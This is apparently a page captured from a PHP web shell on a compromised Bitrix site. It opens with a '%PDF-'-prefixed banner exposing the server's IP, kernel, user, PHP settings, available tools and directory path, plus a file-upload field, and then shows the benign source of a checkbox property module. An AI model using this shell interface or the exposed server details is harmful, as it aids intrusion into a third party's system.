%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.16.151 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/asd.iblock/classes/general/ |
Upload File : |
<?php IncludeModuleLangFile(__FILE__); define ('ASD_UT_CHECKBOX', 'SASDCheckbox'); define ('ASD_UT_CHECKBOX_VAL_FALSE', 'N'); define ('ASD_UT_CHECKBOX_VAL_TRUE', 'Y'); define ('ASD_UT_CHECKBOX_NUM', 'SASDCheckboxNum'); define ('ASD_UT_CHECKBOX_VAL_NUM_FALSE', 0); define ('ASD_UT_CHECKBOX_VAL_NUM_TRUE', 1); class CASDiblockPropCheckbox { public static function GetUserTypeDescription() { return array( 'PROPERTY_TYPE' => 'S', 'USER_TYPE' => ASD_UT_CHECKBOX, 'DESCRIPTION' => GetMessage('ASD_UT_CHECKBOX_DESCR'), 'ConvertToDB' => array(__CLASS__, 'ConvertToDB'), 'GetPropertyFieldHtml' => array(__CLASS__, 'GetPropertyFieldHtml'), 'GetAdminListViewHTML' => array(__CLASS__,'GetAdminListViewHTML'), 'GetPublicViewHTML' => array(__CLASS__, 'GetPublicViewHTML'), 'GetAdminFilterHTML' => array(__CLASS__,'GetAdminFilterHTML'), 'GetSettingsHTML' => array(__CLASS__,'GetSettingsHTML'), 'GetAdminFilterHTML' => array(__CLASS__,'GetAdminFilterHTML'), 'PrepareSettings' => array(__CLASS__,'PrepareSettings'), ); } public static function ConvertToDB($arProperty, $value) { if (empty($value['VALUE']) || ASD_UT_CHECKBOX_VAL_TRUE != $value['VALUE']) { $value['VALUE'] = ASD_UT_CHECKBOX_VAL_FALSE; } return $value; } public static function GetSettingsHTML($arFields,$strHTMLControlName, &$arPropertyFields) { $arPropertyFields = array( 'HIDE' => array('ROW_COUNT', 'COL_COUNT', 'MULTIPLE_CNT', 'WITH_DESCRIPTION'), 'USER_TYPE_SETTINGS_TITLE' => GetMessage('ASD_UT_CHECKBOX_SETTING_TITLE'), ); $arSettings = self::PrepareSettings($arFields); ob_start(); ?><tr> <td><?php echo GetMessage('ASD_UT_CHECKBOX_SETTING_VALUE_N'); ?></td> <td><input type="text" name="<?php echo $strHTMLControlName['NAME'];?>[VIEW][<?php echo ASD_UT_CHECKBOX_VAL_FALSE; ?>]" value="<?php echo htmlspecialcharsbx($arSettings['VIEW'][ASD_UT_CHECKBOX_VAL_FALSE]); ?>"></td> </tr> <tr> <td><?php echo GetMessage('ASD_UT_CHECKBOX_SETTING_VALUE_Y'); ?></td> <td><input type="text" name="<?php echo $strHTMLControlName['NAME'];?>[VIEW][<?php echo ASD_UT_CHECKBOX_VAL_TRUE; ?>]" value="<?php echo htmlspecialcharsbx($arSettings['VIEW'][ASD_UT_CHECKBOX_VAL_TRUE]); ?>"></td> </tr><?php $strResult = ob_get_contents(); ob_end_clean(); return $strResult; } public static function GetPropertyFieldHtml($arProperty, $arValue, $strHTMLControlName) { if (empty($arValue['VALUE'])) { $arValue['VALUE'] = $arProperty['DEFAULT_VALUE']; } if (ASD_UT_CHECKBOX_VAL_TRUE != $value['VALUE']) { $value['VALUE'] = ASD_UT_CHECKBOX_VAL_FALSE; } $strResult = '<input type="hidden" name="'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'" id="'.$strHTMLControlName['VALUE'].'_N" value="'.ASD_UT_CHECKBOX_VAL_FALSE.'" />'. '<input type="checkbox" name="'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'" id="'.$strHTMLControlName['VALUE'].'_Y" value="'.ASD_UT_CHECKBOX_VAL_TRUE.'" '.(ASD_UT_CHECKBOX_VAL_TRUE == $arValue['VALUE'] ? 'checked="checked"' : '').'/>'; return $strResult; } public static function GetAdminListViewHTML($arProperty, $arValue, $strHTMLControlName) { $arSettings = static::PrepareSettings($arProperty); if (ASD_UT_CHECKBOX_VAL_TRUE != $arValue['VALUE']) { $arValue['VALUE'] = ASD_UT_CHECKBOX_VAL_FALSE; } return htmlspecialcharsex($arSettings['VIEW'][$arValue['VALUE']]); } public static function GetAdminFilterHTML($arProperty, $strHTMLControlName) { $arSettings = static::PrepareSettings($arProperty); $strCurValue = ''; if (array_key_exists($strHTMLControlName['VALUE'], $_REQUEST) && (ASD_UT_CHECKBOX_VAL_TRUE==$_REQUEST[$strHTMLControlName['VALUE']] || ASD_UT_CHECKBOX_VAL_FALSE==$_REQUEST[$strHTMLControlName['VALUE']])) { $strCurValue = $_REQUEST[$strHTMLControlName['VALUE']]; } elseif (isset($GLOBALS[$strHTMLControlName['VALUE']]) && (ASD_UT_CHECKBOX_VAL_TRUE==$GLOBALS[$strHTMLControlName['VALUE']] || ASD_UT_CHECKBOX_VAL_FALSE==$GLOBALS[$strHTMLControlName['VALUE']])) { $strCurValue = $GLOBALS[$strHTMLControlName['VALUE']]; } $strResult = '<select name="'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'" id="filter_'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'">'; $strResult .= '<option value=""'.(empty($strCurValue) ? ' selected="selected"' : '').'>'.htmlspecialcharsex(GetMessage('ASD_UT_CHECKBOX_VALUE_EMPTY')).'</option>'; foreach ($arSettings['VIEW'] as $key => $value) { $strResult .= '<option value="'.htmlspecialcharsbx($key).'"'.($key == $strCurValue ? ' selected="selected"' : '').'>'.htmlspecialcharsex($value).'</option>'; } $strResult .= '</select>'; return $strResult; } public static function GetPublicViewHTML($arProperty, $arValue, $strHTMLControlName) { $arSettings = static::PrepareSettings($arProperty); if (ASD_UT_CHECKBOX_VAL_TRUE != $arValue['VALUE']) { $arValue['VALUE'] = ASD_UT_CHECKBOX_VAL_FALSE; } return htmlspecialcharsex($arSettings['VIEW'][$arValue['VALUE']]); } public static function PrepareSettings($arFields) { $arDefView = self::GetDefaultListValues(); $arView = array(); if ( array_key_exists('USER_TYPE_SETTINGS', $arFields) && is_array($arFields['USER_TYPE_SETTINGS']) && array_key_exists('VIEW', $arFields['USER_TYPE_SETTINGS']) && !empty($arFields['USER_TYPE_SETTINGS']['VIEW']) && is_array($arFields['USER_TYPE_SETTINGS']['VIEW']) ) { $arView = $arFields['USER_TYPE_SETTINGS']['VIEW']; } if (empty($arView)) { $arView = $arDefView; } return array( 'VIEW' => $arView ); } protected function GetDefaultListValues() { return array( ASD_UT_CHECKBOX_VAL_FALSE => GetMessage('ASD_UT_CHECKBOX_VALUE_N'), ASD_UT_CHECKBOX_VAL_TRUE => GetMessage('ASD_UT_CHECKBOX_VALUE_Y') ); } } class CASDiblockPropCheckboxNum { public static function GetUserTypeDescription() { return array( 'PROPERTY_TYPE' => 'N', 'USER_TYPE' => ASD_UT_CHECKBOX_NUM, 'DESCRIPTION' => GetMessage('ASD_UT_CHECKBOX_NUM_DESCR'), 'ConvertToDB' => array(__CLASS__, 'ConvertToDB'), 'ConvertFromDB' => array(__CLASS__, 'ConvertFromDB'), 'GetPropertyFieldHtml' => array(__CLASS__, 'GetPropertyFieldHtml'), 'GetAdminListViewHTML' => array(__CLASS__,'GetAdminListViewHTML'), 'GetPublicViewHTML' => array(__CLASS__, 'GetPublicViewHTML'), 'GetAdminFilterHTML' => array(__CLASS__,'GetAdminFilterHTML'), 'GetSettingsHTML' => array(__CLASS__,'GetSettingsHTML'), 'GetAdminFilterHTML' => array(__CLASS__,'GetAdminFilterHTML'), 'PrepareSettings' => array(__CLASS__,'PrepareSettings'), ); } public static function ConvertToDB($arProperty, $value) { $value['VALUE'] = intval($value['VALUE']); if (ASD_UT_CHECKBOX_VAL_NUM_TRUE != $value['VALUE']) { $value['VALUE'] = ASD_UT_CHECKBOX_VAL_NUM_FALSE; } return $value; } public static function ConvertFromDB($arProperty, $value) { $value['VALUE'] = intval($value['VALUE']); if (ASD_UT_CHECKBOX_VAL_NUM_TRUE != $value['VALUE']) { $value['VALUE'] = ASD_UT_CHECKBOX_VAL_NUM_FALSE; } return $value; } public static function GetSettingsHTML($arFields,$strHTMLControlName, &$arPropertyFields) { $arPropertyFields = array( 'HIDE' => array('ROW_COUNT', 'COL_COUNT', 'MULTIPLE_CNT', 'WITH_DESCRIPTION'), 'USER_TYPE_SETTINGS_TITLE' => GetMessage('ASD_UT_CHECKBOX_NUM_SETTING_TITLE'), ); $arSettings = self::PrepareSettings($arFields); ob_start(); ?><tr> <td><?php echo GetMessage('ASD_UT_CHECKBOX_NUM_SETTING_VALUE_N'); ?></td> <td><input type="text" name="<?php echo $strHTMLControlName['NAME']; ?>[VIEW][<?php echo ASD_UT_CHECKBOX_VAL_NUM_FALSE; ?>]" value="<?php echo htmlspecialcharsbx($arSettings['VIEW'][ASD_UT_CHECKBOX_VAL_NUM_FALSE]); ?>"></td> </tr> <tr> <td><?php echo GetMessage('ASD_UT_CHECKBOX_NUM_SETTING_VALUE_Y'); ?></td> <td><input type="text" name="<?php echo $strHTMLControlName['NAME']; ?>[VIEW][<?php echo ASD_UT_CHECKBOX_VAL_NUM_TRUE; ?>]" value="<?php echo htmlspecialcharsbx($arSettings['VIEW'][ASD_UT_CHECKBOX_VAL_NUM_TRUE]); ?>"></td> </tr><?php $strResult = ob_get_contents(); ob_end_clean(); return $strResult; } public static function GetPropertyFieldHtml($arProperty, $arValue, $strHTMLControlName) { if (empty($arValue['VALUE'])) { $arValue['VALUE'] = $arProperty['DEFAULT_VALUE']; } $arValue['VALUE'] = intval($arValue['VALUE']); if (ASD_UT_CHECKBOX_VAL_NUM_TRUE != $value['VALUE']) { $value['VALUE'] = ASD_UT_CHECKBOX_VAL_NUM_FALSE; } $strResult = '<input type="hidden" name="'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'" id="'.$strHTMLControlName['VALUE'].'_N" value="'.ASD_UT_CHECKBOX_VAL_NUM_FALSE.'" />'. '<input type="checkbox" name="'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'" id="'.$strHTMLControlName['VALUE'].'_Y" value="'.ASD_UT_CHECKBOX_VAL_NUM_TRUE.'" '.(ASD_UT_CHECKBOX_VAL_NUM_TRUE == $arValue['VALUE'] ? 'checked="checked"' : '').'/>'; return $strResult; } public static function GetAdminListViewHTML($arProperty, $arValue, $strHTMLControlName) { $arSettings = static::PrepareSettings($arProperty); if (ASD_UT_CHECKBOX_VAL_NUM_TRUE != $arValue['VALUE']) { $arValue['VALUE'] = ASD_UT_CHECKBOX_VAL_NUM_FALSE; } return htmlspecialcharsex($arSettings['VIEW'][$arValue['VALUE']]); } public static function GetAdminFilterHTML($arProperty, $strHTMLControlName) { $arSettings = static::PrepareSettings($arProperty); $strCurValue = ''; if (array_key_exists($strHTMLControlName['VALUE'], $_REQUEST) && (ASD_UT_CHECKBOX_VAL_NUM_TRUE==$_REQUEST[$strHTMLControlName['VALUE']] || ASD_UT_CHECKBOX_VAL_NUM_FALSE==$_REQUEST[$strHTMLControlName['VALUE']])) { $strCurValue = $_REQUEST[$strHTMLControlName['VALUE']]; } elseif (isset($GLOBALS[$strHTMLControlName['VALUE']]) && (ASD_UT_CHECKBOX_VAL_NUM_TRUE==$GLOBALS[$strHTMLControlName['VALUE']] || ASD_UT_CHECKBOX_VAL_NUM_FALSE==$GLOBALS[$strHTMLControlName['VALUE']])) { $strCurValue = $GLOBALS[$strHTMLControlName['VALUE']]; } $strResult = '<select name="'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'" id="filter_'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'">'; $strResult .= '<option value=""'.(empty($strCurValue) ? ' selected="selected"' : '').'>'.htmlspecialcharsex(GetMessage('ASD_UT_CHECKBOX_VALUE_NUM_EMPTY')).'</option>'; foreach ($arSettings['VIEW'] as $key => $value) { $strResult .= '<option value="'.intval($key).'"'.($key == $strCurValue ? ' selected="selected"' : '').'>'.htmlspecialcharsex($value).'</option>'; } $strResult .= '</select>'; return $strResult; } public static function GetPublicViewHTML($arProperty, $arValue, $strHTMLControlName) { $arSettings = static::PrepareSettings($arProperty); $arValue['VALUE'] = intval($arValue['VALUE']); if (ASD_UT_CHECKBOX_VAL_NUM_TRUE != $arValue['VALUE']) { $arValue['VALUE'] = ASD_UT_CHECKBOX_VAL_NUM_FALSE; } return htmlspecialcharsex($arSettings['VIEW'][$arValue['VALUE']]); } public static function PrepareSettings($arFields) { $arDefView = self::GetDefaultListValues(); $arView = array(); if ( array_key_exists('USER_TYPE_SETTINGS', $arFields) && is_array($arFields['USER_TYPE_SETTINGS']) && array_key_exists('VIEW', $arFields['USER_TYPE_SETTINGS']) && !empty($arFields['USER_TYPE_SETTINGS']['VIEW']) && is_array($arFields['USER_TYPE_SETTINGS']['VIEW']) ) { $arView = $arFields['USER_TYPE_SETTINGS']['VIEW']; } if (empty($arView)) { $arView = $arDefView; } return array( 'VIEW' => $arView ); } protected function GetDefaultListValues() { return array( ASD_UT_CHECKBOX_VAL_NUM_FALSE => GetMessage('ASD_UT_CHECKBOX_NUM_VALUE_N'), ASD_UT_CHECKBOX_VAL_NUM_TRUE => GetMessage('ASD_UT_CHECKBOX_NUM_VALUE_Y') ); } }